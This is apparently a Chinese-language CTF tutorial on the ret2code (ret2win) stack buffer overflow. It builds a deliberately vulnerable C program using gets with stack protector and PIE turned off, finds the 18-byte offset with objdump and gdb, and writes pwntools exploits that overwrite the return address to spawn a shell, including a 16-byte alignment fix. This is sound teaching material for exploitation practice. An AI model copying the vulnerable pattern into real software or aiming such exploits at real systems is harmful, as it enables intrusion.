經過了前一天的 lab,相信大家對於 buffer overflow 的原理已經有了更多的理解。既然我們能覆蓋判斷式中的值,那麼是否也能覆蓋 return address,讓程式跳到其他位置呢?這正是我們今天要介紹的攻擊技術:ret2code,又稱為 ret2func 或 ret2win。
回顧之前的 stack 內容,當使用 gets 讀取 buf 字串時,可以持續覆蓋記憶體,甚至可能覆蓋到 rbp 和 return address

例如,如果我們想跳到名為 shell 或 win 的函數,可以嘗試將 stack 覆蓋成如圖所示的狀態。當程式執行到 return address 時,它就會跳轉到我們覆蓋的位置。

雖然在現實情況下,程式中不太可能直接有開啟 shell 的 function,但在一些初學者的 CTF 題目中,這類控制程式執行流程(control flow)的題目仍然存在。在進入實作之前,我們要了解這種攻擊的前提條件是:需要關閉 PIE 保護,因為我們必須知道確切要跳轉的 function 位置。
查看以下程式原始碼:
#include<stdio.h>
void shell(){
    system("/bin/sh");
}
int main(){
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    char b[10];
    puts("Send me a message: ");
    gets(b);
    return 0;
}
使用以下指令進行編譯:
gcc src/ret2code.c -o ./ret2code/share/ret2code -fno-stack-protector -no-pie
大家可以自行練習這道題目,或是繼續閱讀以下解題步驟。
首先,我們注意到程式中存在一個 shell() 函數,這個函數會直接開啟一個 shell。另外,程式關閉了 Canary 和 PIE 保護,並使用了危險的 gets 函數來讀取輸入,因此我們可以嘗試使用 ret2code 技術跳轉到某個位置。在實作 ret2code 之前,我們需要解決以下兩個問題:
shell() function 的地址。首先,找到覆蓋到 return address 前所需的字元數。我們可以使用 objdump 來 disassemble 程式,觀察指令 lea rax,[rbp-0xa],這表示輸入的起始位置是 [rbp-0xa]。與前面不同的是,return address 前還有 8 個 bytes 的 rbp,所以需要填充的字元數是 0xa + 0x8 = 0x12,即 18 個字元。

另一種方法是使用 gdb 來驗證。我們先使用 gdb ./ret2code 啟動程式,然後在 main function 處設置中斷點,接著 r 執行程式,並 ni 逐步執行至輸入位置。此時,我們可以輸入有規律的字元,觀察覆蓋情況。例如輸入 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ

繼續執行至 return address 處,可以看到 return address 已被覆蓋為 0x4747464646464545,即 EEFFFFGG。因此,可以確定需要填充的字元數是 AAAABBBBCCCCDDDDEE,共 18 個字元。

shell() 的 address 可以使用 objdump 或 gdb 來查找。使用 objdump,我們可以看到地址為 0x401156。

使用 gdb 的 info func 命令,也可以看到 shell() function 位於 0x401156。

現在我們可以開始編寫 exploit。我們將測試 local 端程式,輸入 0xa + 8 個字元,並在後面加上要修改的 return address:
from pwn import *
r = process('../ret2code/share/ret2code')
# r = remote('127.0.0.1', 10001)
payload = b'A' * (0xa + 8) + p64(0x401156)
r.sendlineafter('Send me a message: ', payload)
r.interactive()
不過執行後會發生 SIGSEGV,此時可以使用 gdb 來追蹤問題。

將 exploit 加上 gdb.attach() 並使用 tmux 開啟另一個視窗。gdb.attach() 可以指定啟動時要執行的 gdb 指令,例如設置中斷點。
from pwn import *
r = process('../ret2code/share/ret2code')
# r = remote('127.0.0.1', 10001)
gdb.attach(r,'b main')
context.terminal = ['tmux', 'splitw', '-h']
payload = b'A' * (0xa + 8) + p64(0x401156)
r.sendlineafter('Send me a message: ', payload)
r.interactive()
在 tmux 中執行 exploit,並讓執行位置回到 main function。

此時發現程式確實跳到 shell(),但遇到問題:movaps xmmword ptr [rsp + 0x50], xmm0,提示 not aligned to 16 bytes。這個問題可以參考這篇文章,簡單來說,某些 libc 版本要求 rsp 的值必須是 16 的倍數。我們可以嘗試跳轉到前一點的位置。

例如,跳轉到 0x401157 或其他位置進行測試。

將 exploit 改為跳轉到 0x401157,並移除剛剛的 gdb 部分。
from pwn import *
r = process('../ret2code/share/ret2code')
# r = remote('127.0.0.1', 10001)
payload = b'A' * (0xa + 8) + p64(0x401157)
r.sendlineafter('Send me a message: ', payload)
r.interactive()
成功取得 shell!

接下來將題目架設起來,並連接到遠端。
完整 exploit:
from pwn import *
# r = process('../ret2code/share/ret2code')
r = remote('127.0.0.1', 10001)
payload = b'A' * (0xa + 8) + p64(0x401157)
r.sendlineafter('Send me a message: ', payload)
r.interactive()
solved!!
